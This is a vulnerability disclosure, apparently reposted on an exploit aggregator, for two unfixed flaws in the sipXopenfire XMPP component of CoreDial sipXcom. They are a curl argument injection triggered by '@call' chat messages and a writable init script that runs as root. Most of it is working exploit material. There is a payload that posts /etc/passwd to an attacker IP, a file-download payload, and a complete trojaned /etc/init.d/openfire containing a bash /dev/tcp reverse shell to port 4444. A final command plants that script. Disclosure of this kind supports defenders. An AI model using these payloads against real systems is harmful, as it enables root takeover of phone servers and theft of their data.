Share
## https://sploitus.com/exploit?id=1337DAY-ID-38254
_____________________________________________________________________
¯¯¯¯¯¯¯\__/ ༼ つ ◕_◕ ༽つ  (ง'̀-'́)ง    (╯°□°)╯︵ ┻━┻ ヽ(´ー`)ノ \__/¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
    Product: sipXcom sipXopenfire
     Vendor: CoreDial
       Name: "sipXcom sipXopenfire XMPP message system command 
             argument injection and insecure service file 
             permissions RCE"
    Version: 21.04 and earlier
      Fixed: Nope, no response
       Link: http://download.sipxcom.org/
       CVEs: CVE-2023-25355 & CVE-2023-25356
_____________________________________________________________________
¯¯\__/ ༼ つ ◕_◕ ༽つ  (ง'̀-'́)ง    (╯°□°)╯︵ ┻━┻ ヽ(´ー`)ノ \__/¯¯¯¯¯¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
TL;DR
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CoreDial's sipXcom is a PBX server. It bundles an XMPP server 
component sipXopenfire, which is disabled by default. sipXopenfire 
is affected by an OS command argument injection vulnerability 
(CVE-2023-25356), which allows any user with an XMPP account to pass 
arbitrary arguments to a curl command. The same component is also 
affected by a weak file permissions vulnerability (CVE-2023-25355), 
affecting a service startup script which runs as root. Both issues 
can be chained to execute commands as the system root user.

At the time of this disclosure, we have had no response from 
CoreDial, and neither issue has been fixed. 

_____________________________________________________________________
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CVE-2023-25356: OS Command Argument Injection
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
As part of the initializePlugin() routine in 
sipXopenfire\presence-plugin\src\org\sipfoundry\openfire\plugin\presence\SipXOpenfirePlugin.java, 
an "interceptor" called DefaultMessagePacketInterceptor is 
registered.

The DefaultMessagePacketInterceptor inspects every message that's 
sent through the XMPP server. If a message starts with any of the 
strings "@call", "@conf" or "@xfer" (referred to internally as 
"directives"), a related code path is taken, where the message 
content is processed according to what the specific directive is 
meant to achieve.

When a message is intercepted which starts with "@call", all the 
text after this string is assumed to be a phone number and passed to
the buildRestCallCommand() function. This function creates a long 
URL, which the user input is written directly into. There's no 
particular attempt to sanitise this input. 

This URL is then passed to the sendRestRequest() function, where it 
is appended to a curl command string. This string is then passed to 
Runtime.getRuntime().exec(command).

Due to the inner mechanics of Runtime's exec() function, we are only
able to control arguments passed to the main curl command.

The constructed curl command is as follows:

```
curl -k -X POST http://[IPAddress]:[Port]/callcontroller/[callerNumber]/[controlledString]timeout=30&isForwardingAllowed=true
```

Since we can inject arbitrary arguments, we can construct a set of 
arguments which will read a file using the -d/--data flag, and send 
it over the network to us. The only limitation is that the 
sipXopenfire process runs as the daemon user. So we can only read 
files that are accessible to daemon. However, this includes 
potentially interesting files, like the chat history
(/opt/openfire/logs/sipxopenfire-im.log) when chat logging is 
enabled.

As proof-of-concept, the following payload will read /etc/passwd 
and post it to http://192.168.96.128/abc.

```
@call abc -o/tmp/test123 -d @/etc/passwd http://192.168.96.128/abc
```

We can also download files and write them to the server filesystem. 
The following will download the file from 
http://192.168.96.128/test.txt and write it to /tmp/test.txt

```
@call abc -o /tmp/dummy -o /tmp/test.txt -X GET http://192.168.96.128/test.txt -o /tmp/dummy
```

_____________________________________________________________________
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CVE-2023-25355: Weak Service File Permissions
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
The /etc/init.d/openfire service file is owned by the daemon user and
group, but runs as the root user. This gives a relatively clear 
path to privilege escalation. 

It also provides a very useful exploitation path, when chained with 
the curl argument injection issue.

Since we can download files and write them to the filesystem, and 
the sipXopenfire process runs as the daemon user, we can overwrite 
the /etc/init.d/openfire file with a modified version.

The following modified /etc/init.d/openfire will return a shell to 
port 4444 on 192.168.96.128 when the sipXopenfire service is 
(re)started. 

```
#!/bin/sh
#
# openfire      Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
#              XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora  based
# systems.
#
 
#####
# Begin setup work
#####
 
# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0
 
# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
        echo $0 must be run as root
        exit 1
fi
 
su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"
 
# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
  FUNCTIONS_FOUND=true
  . /etc/init.d/functions
fi
 
# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"
 
# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"
 
# -----------------------------------------------------------------
 
# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
        if [ -d "/usr/share/openfire" ]; then
                OPENFIRE_HOME="/usr/share/openfire"
        elif [ -d "/usr/local/openfire" ]; then
                OPENFIRE_HOME="/usr/local/openfire"
        elif [ -d "/opt/openfire" ]; then
                OPENFIRE_HOME="/opt/openfire"
        else
                echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
                echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
                echo "in /etc/sysconfig/openfire."
                exit 1
        fi
fi
 
# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"
 
# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
        if [ -d "${OPENFIRE_HOME}/jre" ]; then
                JAVA_HOME="${OPENFIRE_HOME}/jre"
        elif [ -d "/etc/alternatives/jre" ]; then
                JAVA_HOME="/etc/alternatives/jre"
        else
                jdks=`ls -r1d /usr/java/j*`
                for jdk in $jdks; do
                        if [ -f "${jdk}/bin/java" ]; then
                                JAVA_HOME="$jdk"
                                break
                        fi
                done
        fi
fi
JAVACMD="${JAVA_HOME}/bin/java"
 
if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
        echo "Error: JAVA_HOME is not defined correctly."
        echo "       Can not sure execute $JAVACMD."
        exit 1
fi
 
# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"
 
# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"
 
# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
        LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
        LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi
 
# Export any necessary variables
export JAVA_HOME JAVACMD
 
# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""
 
#####
# End setup work
#####
 
start() {
        OLD_PWD=`pwd`
        cd $OPENFIRE_LOGDIR
 
        PID=$(findPID)
        if [ -n "$PID" ]; then                                              
            echo "Openfire is already running."                                
            RETVAL=1                                                          
            return                                                            
        fi                                                                    
 
        # Start daemons.                                                      
        echo -n "Starting openfire: "                                        
 
        rm -f nohup.out
        su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
        RETVAL=$?
 
        echo
 
        [ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire
 
        sleep 1 # allows prompt to return
        cd $OLD_PWD
}
 
stop() {
        # Stop daemons.
        echo -n "Shutting down openfire: "
 
        PID=$(findPID)
        if [ -n "$PID" ]; then
                if [ -n "$FUNCTIONS_FOUND" ]; then
                        echo $PID > $OPENFIRE_PIDFILE
                        # delay copied from restart
                        killproc -p $OPENFIRE_PIDFILE -d 10
                        rm -f $OPENFIRE_PIDFILE
                else
                        kill $PID
                fi
        else
                echo "Openfire is not running."
        fi
 
        RETVAL=$?
        echo
 
        [ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}
 
restart() {
        stop
        sleep 10 # give it a few moments to shut down
        start
}
 
condrestart() {
        [ -e "/var/lock/subsys/openfire" ] && restart
        return 0
}
 
status() {
        PID=$(findPID)
        if [ -n "$PID" ]; then
                echo "openfire is running"
                RETVAL=0
        else
                echo "openfire is not running"
                RETVAL=1
        fi
}
 
findPID() {
        echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}
 
# Handle how we were called.
case "$1" in
        start)
                start
                ;;
        stop)
                stop
                ;;
        restart)
                restart
                ;;
        condrestart)
                condrestart
                ;;
        reload)
                restart
                ;;
        status)
                status
                ;;
        *)
                echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
                RETVAL=1
esac
 
exit $RETVAL

```

When served as openfire.txt from a web server (in this case, on 
192.168.96.128), the curl argument injection can be exploited as so 
to overwrite the original /etc/init.d/openfire script.

```
@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy
```

Once this file is overwritten, we should wait for the sipXopenfire 
service to be restarted. This might be from a server reboot, or from
an administrator restarting the sipXopenfire service itself. When 
the service does restart, we will get a shell back as the root user.

To make the exploitation more convenient, we could trigger the 
sipXopenfire service reload ourselves, if we also have credentials 
for the superadmin user on the sipXcom web configuration service.